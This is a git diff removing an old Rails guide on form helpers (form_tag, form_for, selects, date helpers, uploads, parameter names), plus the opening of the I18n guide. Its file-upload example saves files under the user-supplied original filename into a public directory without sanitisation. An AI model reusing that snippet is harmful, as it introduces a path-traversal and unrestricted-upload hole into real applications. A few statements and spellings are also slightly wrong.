- <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
- </div>
- Form contents
-</form>
-----------------------------------------------------------------------------
-
-If you carefully observe this output, you can see that the helper generated something you didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).
-
-NOTE: Throughout this guide, this `div` with the hidden input will be stripped away to have clearer code samples.
-
-Generic search form
-~~~~~~~~~~~~~~~~~~~
-
-Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:
-
-1. a form element with "GET" method,
-2. a label for the input,
-3. a text input element, and
-4. a submit element.
-
-IMPORTANT: Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and others.
-
-To create that, you will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively.
-
-.A basic search form
-----------------------------------------------------------------------------
-<% form_tag(search_path, :method => "get") do %>
- <%= label_tag(:q, "Search for:") %>
- <%= text_field_tag(:q) %>
- <%= submit_tag("Search") %>
-<% end %>
-----------------------------------------------------------------------------
-
-[TIP]
-============================================================================
-`search_path` can be a named route specified in "routes.rb":
-
-----------------------------------------------------------------------------
-map.search "search", :controller => "search"
-----------------------------------------------------------------------------
-============================================================================
-
-The above view code will result in the following markup:
-
-.Search form HTML
-----------------------------------------------------------------------------
-<form action="/search" method="get">
- <label for="q">Search for:</label>
- <input id="q" name="q" type="text" />
- <input name="commit" type="submit" value="Search" />
-</form>
-----------------------------------------------------------------------------
-
-Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
-
-TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-
-Multiple hashes in form helper attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-By now you've seen that the `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
-
-As with the `link_to` helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, you cannot simply write this:
-
-.A bad way to pass multiple hashes as method arguments
-----------------------------------------------------------------------------
-form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
-# => <form action="/people/search?method=get&class=nifty_form" method="post">
-----------------------------------------------------------------------------
-
-Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The solution is to delimit the first hash (or both hashes) with curly brackets:
-
-.The correct way of passing multiple hashes as arguments
-----------------------------------------------------------------------------
-form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
-# => <form action="/people/search" method="get" class="nifty_form">
-----------------------------------------------------------------------------
-
-This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
-
-WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an `expecting tASSOC` syntax error.
-
-Checkboxes, radio buttons and other controls
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Checkboxes are form controls that give the user a set of options they can enable or disable:
-
-----------------------------------------------------------------------------
-<%= check_box_tag(:pet_dog) %>
- <%= label_tag(:pet_dog, "I own a dog") %>
-<%= check_box_tag(:pet_cat) %>
- <%= label_tag(:pet_cat, "I own a cat") %>
-
-output:
-
-<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
- <label for="pet_dog">I own a dog</label>
-<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
- <label for="pet_cat">I own a cat</label>
-----------------------------------------------------------------------------
-
-Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):
-
-----------------------------------------------------------------------------
-<%= radio_button_tag(:age, "child") %>
- <%= label_tag(:age_child, "I am younger than 21") %>
-<%= radio_button_tag(:age, "adult") %>
- <%= label_tag(:age_adult, "I'm over 21") %>
-
-output:
-
-<input id="age_child" name="age" type="radio" value="child" />
- <label for="age_child">I am younger than 21</label>
-<input id="age_adult" name="age" type="radio" value="adult" />
- <label for="age_adult">I'm over 21</label>
-----------------------------------------------------------------------------
-
-IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
-
-Other form controls worth mentioning are the text area, password input and hidden input:
-
-----------------------------------------------------------------------------
-<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
-<%= password_field_tag(:password) %>
-<%= hidden_field_tag(:parent_id, "5") %>
-
-output:
-
-<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
-<input id="password" name="password" type="password" />
-<input id="parent_id" name="parent_id" type="hidden" value="5" />
-----------------------------------------------------------------------------
-
-Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.
-
-TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating `filter_parameter_logging(:password)` in your ApplicationController.
-
-How do forms with PUT or DELETE methods work?
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?
-
-Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the desired method:
-
-----------------------------------------------------------------------------
-form_tag(search_path, :method => "put")
-
-output:
-
-<form action="/search" method="post">
- <div style="margin:0;padding:0">
- <input name="_method" type="hidden" value="put" />
- <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
- </div>
- ...
-----------------------------------------------------------------------------
-
-When parsing POSTed data, Rails will take into account the special `_method` parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).
-
-Different Families of helpers
-------------------------------
-
-Most of Rails' form helpers are available in two forms.
-
-Barebones helpers
-~~~~~~~~~~~~~~~~~~
-These just generate the appropriate markup. These have names ending in _tag such as `text_field_tag`, `check_box_tag`. The first parameter to these is always the name of the input. This is the name under which value will appear in the `params` hash in the controller. For example if the form contains
----------------------------
-<%= text_field_tag(:query) %>
----------------------------
-
-then the controller code should use
----------------------------
-params[:query]
----------------------------
-to retrieve the value entered by the user. When naming inputs be aware that Rails uses certain conventions that control whether values appear at the top level of the params hash, inside an array or a nested hash and so on. You can read more about them in the <<parameter_names,parameter names>> section. For details on the precise usage of these helpers, please refer to the http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html[API documentation].
-
-Model object helpers
-~~~~~~~~~~~~~~~~~~~~~
-These are designed to work with a model object (commonly an Active Record object but this need not be the case). These lack the _tag suffix, for example `text_field`, `text_area`.
-
-For these helpers the first arguement is the name of an instance variable and the second is the name a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
-
----------------------------
-<%= text_field(:person, :name) %>
----------------------------
-will produce output similar to
----------------------------
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
----------------------------
-Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`.
-
-[WARNING]
-============================================================================
-You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
-============================================================================
-Forms that deal with model attributes
--------------------------------------
-
-While the helpers seen so far are handy Rails can save you some work. For example typically a form is used to edit multiple attributes of a single object, so having to repeat the name of the object being edited is clumsy. The following examples will handle an Article model. First, have the controller create one:
-
-.articles_controller.rb
-----------------------------------------------------------------------------
-def new
- @article = Article.new
-end
-----------------------------------------------------------------------------
-
-Now switch to the view. The first thing to remember is to use the `form_for` helper instead of `form_tag`, and that you should pass the model name and object as arguments:
-
-.articles/new.html.erb
-----------------------------------------------------------------------------
-<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
- <%= f.text_field :title %>
- <%= f.text_area :body, :size => "60x12" %>
- <%= submit_tag "Create" %>
-<% end %>
-----------------------------------------------------------------------------
-
-There are a few things to note here:
-
-1. `:article` is the name of the model and `@article` is the record.
-2. There is a single hash of options. Routing options are passed inside `:url` hash, HTML options are passed in the `:html` hash.
-3. The `form_for` method yields *a form builder* object (the `f` variable).
-4. Methods to create form controls are called *on* the form builder object `f`
-
-The resulting HTML is:
-
-----------------------------------------------------------------------------
-<form action="/articles/create" method="post" class="nifty_form">
- <input id="article_title" name="article[title]" size="30" type="text" />
- <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
- <input name="commit" type="submit" value="Create" />
-</form>
-----------------------------------------------------------------------------
-The name passed to `form_for` controls where in the params hash the form values will appear. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the <<parameter_names,parameter names>> section.
-
-The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
-
-Relying on record identification
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-In the previous chapter you handled the Article model. This model is directly available to users of our application, so -- following the best practices for developing with Rails -- you should declare it *a resource*.
-
-When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
-
-----------------------------------------------------------------------------
-## Creating a new article
-# long-style:
-form_for(:article, @article, :url => articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(:article, @article, :url => article_path(@article), :method => "put")
-# short-style:
-form_for(@article)
-----------------------------------------------------------------------------
-
-Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
-
-Rails will also automatically set the class and id of the form appropriately: a form creating an article would have id and class `new_article`. If you were editing the article with id 23 the class would be set to `edit_article` and the id to `edit_article_23`. The attributes will be omitted or brevity in the rest of this guide.
-
-WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url` and `:method` explicitly.
-
-Dealing with namespaces
-^^^^^^^^^^^^^^^^^^^^^^^
-
-If you have created namespaced routes `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
--------
-form_for [:admin, @article]
--------
-will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
-
--------
-form_for [:admin, :management, @article]
--------
-For more information on Rails' routing system and the associated conventions, please see the link:../routing_outside_in.html[routing guide].
-
-
-Making select boxes with ease
------------------------------
-
-Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.
-
-Here is what our wanted markup might look like:
-
-----------------------------------------------------------------------------
-<select name="city_id" id="city_id">
- <option value="1">Lisabon</option>
- <option value="2">Madrid</option>
- ...
- <option value="12">Berlin</option>
-</select>
-----------------------------------------------------------------------------
-
-Here you have a list of cities where their names are presented to the user, but internally the application only wants to handle their IDs so they are used as the options' value attributes. Let's see how Rails can help out here.
-
-The select tag and options
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates an options string:
-
-----------------------------------------------------------------------------
-<%= select_tag(:city_id, '<option value="1">Lisabon</option>...') %>
-----------------------------------------------------------------------------
-
-This is a start, but it doesn't dynamically create our option tags. You can generate option tags with the `options_for_select` helper:
-
-----------------------------------------------------------------------------
-<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %>
-
-output:
-
-<option value="1">Lisabon</option>
-<option value="2">Madrid</option>
-...
-----------------------------------------------------------------------------
-
-For input data you use a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will get submitted to your controller. It is often true that the option value is the id of a corresponding database object but this does not have to be the case.
-
-Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
-
-----------------------------------------------------------------------------
-<%= select_tag(:city_id, options_for_select(...)) %>
-----------------------------------------------------------------------------
-
-Sometimes, depending on an application's needs, you also wish a specific option to be pre-selected. The `options_for_select` helper supports this with an optional second argument:
-
-----------------------------------------------------------------------------
-<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...], 2) %>
-
-output:
-
-<option value="1">Lisabon</option>
-<option value="2" selected="selected">Madrid</option>
-...
-----------------------------------------------------------------------------
-
-So whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
-
-[TIP]
-============================================================================
-The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the internal value is the integer 2 you cannot pass "2" to `options_for_select` -- you must pass 2. Be aware of values extracted from the params hash as they are all strings.
-
-============================================================================
-
-Select boxes for dealing with models
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Until now you've seen how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that you have a "Person" model with a `city_id` attribute.
-
-Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`.
-
-----------------------------------------------------------------------------
-# controller:
-@person = Person.new(:city_id => 2)
-
-# view:
-<%= select(:person, :city_id, [['Lisabon', 1], ['Madrid', 2], ...]) %>
-----------------------------------------------------------------------------
-
-Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the `@person.city_id` attribute.
-
-As before, if you were to use `select` helper on a form builder scoped to `@person` object, the syntax would be:
-
-----------------------------------------------------------------------------
-# select on a form builder
-<%= f.select(:city_id, ...) %>
-----------------------------------------------------------------------------
-
-[WARNING]
-=============================
-If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id Active Record will raise an error along the lines of
---------
-ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got Fixnum(#1138750)
---------
-when you pass the params hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes.
-============================
-Option tags from a collection of arbitrary objects
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Until now you were generating option tags from nested arrays with the help of `options_for_select` method. Data in our array were raw values:
-
-----------------------------------------------------------------------------
-<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %>
-----------------------------------------------------------------------------
-
-But what if you had a *City* model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
-
-----------------------------------------------------------------------------
-<% cities_array = City.find(:all).map { |city| [city.name, city.id] } %>
-<%= options_for_select(cities_array) %>
-----------------------------------------------------------------------------
-
-This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
-
-----------------------------------------------------------------------------
-<%= options_from_collection_for_select(City.all, :id, :name) %>
-----------------------------------------------------------------------------
-
-As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. A method to go along with it is `collection_select`:
-
-----------------------------------------------------------------------------
-<%= collection_select(:person, :city_id, City.all, :id, :name) %>
-----------------------------------------------------------------------------
-
-To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
-
-Time zone and country select
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To leverage time zone support in Rails, you have to ask our users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
-
-----------------------------------------------------------------------------
-<%= time_zone_select(:person, :city_id) %>
-----------------------------------------------------------------------------
-
-There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
-
-Rails _used_ to have a `country_select` helper for choosing countries but this has been extracted to the http://github.com/rails/country_select/tree/master[country_select plugin]. When using this do be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails)
-
-Date and time select boxes
---------------------------
-
-The date and time helpers differ from all the other form helpers in two important respects:
-
-1. Unlike other attributes you might typically have, dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc...). So in particular, there is no single value in your params hash with your date or time.
-2. Other helpers use the _tag suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select\_date`, `select\_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers
-
-Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc...).
-
-Barebones helpers
-~~~~~~~~~~~~~~~~~
-The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
-
------------
-<%= select_date Date::today, :prefix => :start_date %>
------------
-outputs (with the actual option values omitted for brevity)
------------
-<select id="start_date_year" name="start_date[year]"> ... </select>
-<select id="start_date_month" name="start_date[month]"> ... </select>
-<select id="start_date_day" name="start_date[day]"> ... </select>
------------
-The above inputs would result in `params[:start_date]` being a hash with keys :year, :month, :day. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
------------
-Date::civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
------------
-The :prefix option controls where in the params hash the date components will be placed. Here it was set to `start_date`, if omitted it will default to `date`.
-
-Model object helpers
-~~~~~~~~~~~~~~~~~~~~
-`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the params hash to correspond to one attribute.
-The model object helpers for dates and times submit parameters with special names. When Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example
----------------
-<%= date_select :person, :birth_date %>
----------------
-outputs (with the actual option values omitted for brevity)
---------------
-<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
-<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
-<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
---------------
-which results in a params hash like
---------------
-{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
---------------
-
-When this is passed to `Person.new`, Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date::civil`.
-
-Common options
-~~~~~~~~~~~~~~
-Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html[API documentation].
-
-As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in others cases, such as a search form which filters results by date.
-
-NOTE: In many cases the built in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
-
-Form builders
--------------
-
-As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying a form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
-
-----------
-<% form_for @person do |f| %>
- <%= text_field_with_label f, :first_name %>
-<% end %>
-----------
-can be replaced with
-----------
-<% form_for @person, :builder => LabellingFormBuilder do |f| %>
- <%= f.text_field :first_name %>
-<% end %>
-----------
-by defining a LabellingFormBuilder class similar to the following:
-
-[source, ruby]
--------
-class LabellingFormBuilder < FormBuilder
- def text_field attribute, options={}
- label(attribute) + text_field(attribute, options)
- end
-end
--------
-If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `:builder => LabellingFormBuilder` option.
-
-The form builder used also determines what happens when you do
-------
-<%= render :partial => f %>
-------
-If `f` is an instance of FormBuilder then this will render the 'form' partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the 'labelling_form' partial would be rendered instead.
-
-Scoping out form controls with `fields_for`
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-`fields_for` creates a form builder in exactly the same way as `form_for` but doesn't create the actual `<form>` tags. It creates a scope around a specific model object like `form_for`, which is useful for specifying additional model objects in the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for editing both like so:
--------------
-<% form_for @person do |person_form| %>
- <%= person_form.text_field :name %>
- <% fields_for @person.contact_detail do |contact_details_form| %>
- <%= contact_details_form.text_field :phone_number %>
- <% end %>
-<% end %>
--------------
-
-which produces the following output:
-
--------------
-<form action="/people/1" class="edit_person" id="edit_person_1" method="post">
- <input id="person_name" name="person[name]" size="30" type="text" />
- <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
-</form>
--------------
-
-File Uploads
---------------
-A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to multipart/form-data. If you forget to do this the file will not be uploaded. This can be done by passing `:multi_part => true` as an HTML option. This means that in the case of `form_tag` it must be passed in the second options hash and in the case of `form_for` inside the `:html` hash.
-
-The following two forms both upload a file.
------------
-<% form_tag({:action => :upload}, :multipart => true) do %>
- <%= file_field_tag 'picture' %>
-<% end %>
-
-<% form_for @person, :html => {:multipart => true} do |f| %>
- <%= f.file_field :picture %>
-<% end %>
------------
-Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
-
-What gets uploaded
-~~~~~~~~~~~~~~~~~~
-The object in the params hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#\{RAILS_ROOT\}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
-
-[source, ruby]
------------------
-def upload
- uploaded_io = params[:person][:picture]
- File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
- file.write(uploaded_io.read)
- end
-end
-----------------
-
-Once a file has been uploaded there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are http://github.com/technoweenie/attachment_fu[Attachment-Fu] and http://www.thoughtbot.com/projects/paperclip[Paperclip].
-
-NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
-
-Dealing with Ajax
-~~~~~~~~~~~~~~~~~
-Unlike other forms making an asynchronous file upload form is not as simple as replacing `form_for` with `remote_form_for`. With an AJAX form the serialization is done by javascript running inside the browser and since javascript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
-
-Parameter Names
----------------
-[[parameter_names]]
-As you've seen in the previous sections values from forms can appear either at the top level of the params hash or may appear nested in another hash. For example in a standard create
-action for a Person model, `params[:model]` would usually be a hash of all the attributes for the person to create. The params hash can also contain arrays, arrays of hashes and so on.
-
-Fundamentally HTML forms don't know about any sort of structured data. All they know about is name-value pairs. Rails tacks some conventions onto parameter names which it uses to express some structure.
-
-[TIP]
-========================
-You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example
-
--------------
-ActionController::RequestParser.parse_query_parameters "name=fred&phone=0123456789"
-#=> {"name"=>"fred", "phone"=>"0123456789"}
--------------
-========================
-
-Basic structures
-~~~~~~~~~~~~~~~
-The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in the params. For example if a form contains
------------------
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
------------------
-the params hash will contain
-
-[source, ruby]
------------------
-{'person' => {'name' => 'Henry'}}
------------------
-and `params["name"]` will retrieve the submitted value in the controller.
-
-Hashes can be nested as many levels as required, for example
-------------------
-<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
-------------------
-will result in the params hash being
-
-[source, ruby]
------------------
-{'person' => {'address' => {'city' => 'New York'}}}
------------------
-
-Normally Rails ignores duplicate parameter names. If the parameter name contains [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, your could place this in the form:
------------------
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
------------------
-This would result in `params[:person][:phone_number]` being an array.
-
-Combining them
-~~~~~~~~~~~~~~
-We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
------------------
-<input name="addresses[][line1]" type="text"/>
-<input name="addresses[][line2]" type="text"/>
-<input name="addresses[][city]" type="text"/>
------------------
-This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters a input name that already exists in the current hash.
-
-The one restriction is that although hashes can be nested arbitrarily deep then can be only one level of "arrayness". Frequently arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id.
-
-[WARNING]
-Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted. If the checkbox is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new hash. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.
-
-Using form helpers
-~~~~~~~~~~~~~~~~~
-The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for`/`fields_for` and the `:index` option.
-
-You might want to render a form with a set of edit fields for each of a person's addresses. Something a little like this will do the trick
-
---------
-<% form_for @person do |person_form| %>
- <%= person_form.text_field :name%>
- <% for address in @person.addresses %>
- <% person_form.fields_for address, :index => address do |address_form|%>
- <%= address_form.text_field :city %>
- <% end %>
- <% end %>
-<% end %>
---------
-Assuming our person had two addresses, with ids 23 and 45 this would create output similar to this:
---------
-<form action="/people/1" class="edit_person" id="edit_person_1" method="post">
- <input id="person_name" name="person[name]" size="30" type="text" />
- <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
- <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
-</form>
---------
-This will result in a params hash that looks like
-
-[source, ruby]
---------
-{'person' => {'name' => 'Bob', 'address' => { '23' => {'city' => 'Paris'}, '45' => {'city' => 'London'} }}}
---------
-
-Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful it is then easy to locate which Address record should be modified but you could pass numbers with some other significance, strings or even nil (which will result in an array parameter being created).
-
-To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
---------
-<% fields_for 'person[address][primary]', address, :index => address do |address_form| %>
- <%= address_form.text_field :city %>
-<% end %>
---------
-will create inputs like
---------
-<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
---------
-As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but usually it is less repetitive to specify this at the form builder level rather than on individual input controls.
-
-As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifing `:index => address` so
---------
-<% fields_for 'person[address][primary][]', address do |address_form| %>
- <%= address_form.text_field :city %>
-<% end %>
---------
-produces exactly the same output as the previous example.
-
-Complex forms
--------------
-
-Many apps grow beyond simple forms editing a single object. For example when creating a Person instance you might want to allow the user to (on the same form) create multiple address records (home, work etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:
-
-* Ryan Bates' series of railscasts on http://railscasts.com/episodes/75[complex forms]
-* Handle Multiple Models in One Form from http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf[Advanced Rails Recipes]
-* Eloy Duran's http://github.com/alloy/complex-form-examples/tree/alloy-nested_params[nested_params] plugin
-* Lance Ivy's http://github.com/cainlevy/nested_assignment/tree/master[nested_assignment] plugin and http://github.com/cainlevy/complex-form-examples/tree/cainlevy[sample application]
-* James Golick's http://github.com/giraffesoft/attribute_fu/tree[attribute_fu] plugin
-
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1[Lighthouse ticket]
-
-.Authors
-* Mislav Marohnić <mislav.marohnic@gmail.com>
-* link:../authors.html#fcheung[Frederick Cheung]
diff --git a/railties/doc/guides/source/i18n.txt b/railties/doc/guides/source/i18n.txt
deleted file mode 100644
index e80de7adc9..0000000000
--- a/railties/doc/guides/source/i18n.txt
+++ /dev/null
@@ -1,654 +0,0 @@
-The Rails Internationalization (I18n) API
-=========================================
-
-The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or providing multi-language support in your application.
-
-NOTE: The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available. See Rails http://rails-i18n.org/wiki[I18n Wiki] for more information.
-
